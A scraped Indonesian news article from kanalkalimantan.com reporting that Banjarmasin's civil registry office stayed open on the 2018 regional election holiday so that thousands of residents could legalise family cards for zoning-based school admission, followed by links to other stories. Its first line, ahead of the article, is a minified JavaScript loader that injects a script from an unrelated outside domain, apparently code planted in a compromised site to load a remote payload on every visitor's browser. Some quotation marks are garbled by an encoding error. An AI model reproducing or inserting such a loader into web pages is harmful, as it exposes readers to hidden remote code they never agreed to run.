(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Dinas Kepundudukan dan Catatan Sipil (Disdukcapil) Banjarmasin masih tetap membuka layanan meski di hari libur nasional terkait Pilkada Serentak, Rabu (27/6). Dinas ini tetap menerima pelayanan untuk pelegalisiran Kartu Keluarga (KK) sebagai syarat untuk Penerimaan Peserta Didik Baru (PPDB) tahun ini.
Nampak suasana Disdukcapil Banjarmasin terlihat penuh didatangi masyarakat yang mengantri untuk pengurusan legalisir KK. Kepala Disdukcapil Banjarmasin Khairul Saleh mengatakan, sudah beberapa hari terakhir ini kantor Disdukcapil ramai didatangi oleh ribuan warga yang ingin melegalisir KK untuk keperluan masuk PPDB di berbagai sekolah.
“Sejak Senin saja sudah didatangi 1.600 orang warga untuk legalisir KK dan hari ini lebih dari itu,†ucapnya.
Ditambahkannya, banyak para warga kota banjarmasin sangat memerlukan pelayanan legalisasi kartu keluarga tersebut bertepatan juga dengan libur nasional disdukcapil memilih untuk buka dan melayani masyarakat.
Diketahui salah satu syarat PPDB 2018 ini untuk setiap calon siswa yang masuk mendaftar wajib menyertakan KK yang telah dilegalisir oleh Disdukcapil setempat.
“Persyaratan yang baru pertama kali diterapkan tersebut, karena adanya perubahan sistem penerimaan calon siswa baru, dengan sistem zonasi,†ucapnya.
Ditambahkannya, bahwa legalisasi tersebut dimaksudkan agar tidak ada kecurangan atau manipulasi dalam penerimaan siswa baru, karena tidak menutup kemungkinan, ada oknum warga, yang ingin mengubah kartu keluarga.
Mengantisipasi hal tersebut, maka legalisasi atau pengesahan dari Disdukcapil, akan meyakinkan dan memudahkan panitia penerimaan siswa baru, bahwa calon siswa baru, benar-benar tinggal di wilayah yang sessuai dengan kartu keluarga. ketentuan legalisasi tersebut, merupakan ketentuan yang dibuat oleh Pemerintah Provinsi Kalsel, sedangkan Disdukcapil hanya melaksanakan saja.
“Untuk syarat PPDB terkait legalisir KK saya kurang mengetahuinya, itu sudah ketetapan pemerintah provinsi,†singkatnya.
Apakah untuk masuk SLTP juga menggunakan syarat yang sama, tambah dia, juga belum ada informasi. Namun pihaknya tetap mempersiapkan diri untuk meningkatkan pelayanan. “Kami siap saja untuk buka dihari libur, agar tidak menghambat para calon siswa,” jelasnya.
Sejak dua tahun terakhir, sistem penerimaan calon siswa baru di Kalsel, telah menggunakan sistem zonasi, sebagai upaya pemerataan antara siswa sekolah favorit diperkotaan dengan sekolah dipinggiran. Akibat sistem zonasi tersebut, pada penerimaan siswa baru 2017, banyak sekolah favorit kekurangan siswa, bahkan ada yang harus buka hingga gelombang ke dua.(ammar)
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.